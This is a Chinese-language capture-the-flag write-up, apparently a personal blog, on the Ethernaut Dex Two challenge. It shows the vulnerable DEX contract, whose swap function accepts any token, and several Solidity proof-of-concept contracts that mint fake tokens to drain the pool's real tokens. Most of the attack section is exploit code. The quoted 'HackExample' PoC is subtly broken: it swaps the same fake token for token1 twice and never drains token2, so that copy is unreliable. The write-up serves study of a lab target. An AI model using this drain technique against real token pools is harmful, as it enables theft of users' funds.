Q1ngying

今朝梦醒与君别,遥盼春风寄相思

0%

Dex2-wp

DEX2—wp

这道题中的 DEX 和上一个中有一处不同:该 DEX 的swap函数中没有检测 Tokenfrom&to是否为该 DEX 中的 token1 和 token2。针对这一点可以对齐利用

合约源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

对合约进行分析

首先,这个合约中没有看到有关owner转换相关的函数,证明:onlyOwner修饰符修饰的函数我们便无需考虑了。然后仔细分析swap函数,该函数没有检验传入函数的参数fromto是否有限制,即:我们可以发行我们自己的Token将其添加到这个DEX中,然后用我们自己的Token来换出 DEX 中具有实际价值的 Token。

而这一过程有这样的计算过程:

1
2
(amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))
amount(我们输入) * to(要兑换的Token) / from(从什么Token去换)

可以计算得到:amount==from时,会换出池子中全部的toToken,也就是说,我们只需要 mint 两种 fakeToken 各 2 个,一个转移到池子中,另一个用于 swap。

展开攻击:

这里需要我们发行我们自己的 Token,需要使用到 ERC20 合约,直接从openzeppelin合约库中导入即可:

1
2
3
4
5
6
7
8
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MyToken is ERC20 {
constructor() ERC20("MyToken", "MTK") {}

function mint(address to, uint256 amount) external {
super._mint(to, amount);
}
}

注意:

在 Remix 中,提供了自动重映射 openzeppelin 标准库的功能。所以上述代码需要在 Remix 中,如果是使用 Foundry,可以使用命令forge install openzeppelin-contracts --no-commit来安装,并需要在foundry.toml中,进行重映射。

为需要使用 Dex 中的一些函数抽象出来接口:

1
2
3
4
5
6
interface IDexTwo {
function swap(address from, address to, uint256 amount) external;
function balanceOf(address token, address account) external view returns (uint256);
function token1() external view returns (address);
function token2() external view returns (address);
}

以 YouTube 大佬的 PoC(我自己写的太麻烦了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract HackExample { // Youtube 大佬的 PoC
constructor(IDexTwo dex) {
// 获取两个 Token 的地址,并实例化
ERC20 token1 = ERC20(dex.token1());
ERC20 token2 = ERC20(dex.token2());
// 创建两个 fakeToken
MyToken myToken1 = new MyToken();
MyToken myToken2 = new MyToken();
// 铸造
myToken1.mint(address(this), 2);
myToken2.mint(address(this), 2);
// 转移到 pool 中
myToken1.transfer(address(dex), 1);
myToken2.transfer(address(dex), 1);
// 授权 pool
myToken1.approve(address(dex), 1);
myToken2.approve(address(dex), 1);
// swap
dex.swap(address(myToken1), address(token1), 1);
dex.swap(address(myToken1), address(token1), 1);

require(token1.balanceOf(address(dex)) == 0, "dex token balance 1 != 0");
require(token2.balanceOf(address(dex)) == 0, "dex token balance 2 != 0");
}
}

完整攻击PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IDexTwo {
function swap(address from, address to, uint256 amount) external;
function balanceOf(address token, address account) external view returns (uint256);
function token1() external view returns (address);
function token2() external view returns (address);
}

contract MyToken is ERC20 {
constructor() ERC20("MyToken", "MTK") {}

function mint(address to, uint256 amount) external {
super._mint(to, amount);
}
}

contract Hack { // 我自己写的,比较麻烦
IDexTwo private immutable dex;
address private immutable token1;
address private immutable token2;

constructor(address _dex, address _token1, address _token2) {
dex = IDexTwo(_dex);
token1 = _token1;
token2 = _token2;
}

function pwn() public {
MyToken fakeToken1 = new MyToken();
fakeToken1.mint(address(this), 2);
MyToken fakeToken2 = new MyToken();
fakeToken2.mint(address(this), 2);

fakeToken1.transfer(address(dex), 1);
fakeToken1.approve(address(dex), type(uint256).max);
dex.swap(address(fakeToken1), token1, 1);
fakeToken2.transfer(address(dex), 1);
fakeToken2.approve(address(dex), type(uint256).max);
dex.swap(address(fakeToken2), token2, 1);
require(dex.balanceOf(token1, address(dex)) == 0, "hack failed!");
require(dex.balanceOf(token2, address(dex)) == 0, "hack failed!");
}
}

contract HackExample { // Youtube 大佬的 PoC
constructor(IDexTwo dex) {
ERC20 token1 = ERC20(dex.token1());
ERC20 token2 = ERC20(dex.token2());

MyToken myToken1 = new MyToken();
MyToken myToken2 = new MyToken();

myToken1.mint(address(this), 2);
myToken2.mint(address(this), 2);

myToken1.transfer(address(dex), 1);
myToken2.transfer(address(dex), 1);

myToken1.approve(address(dex), 1);
myToken2.approve(address(dex), 1);

dex.swap(address(myToken1), address(token1), 1);
dex.swap(address(myToken1), address(token1), 1);

require(token1.balanceOf(address(dex)) == 0, "dex token balance 1 != 0");
require(token2.balanceOf(address(dex)) == 0, "dex token balance 2 != 0");
}
}

防范方法

作为一个 DEX,一定要确保代币的真实性和代币的来源。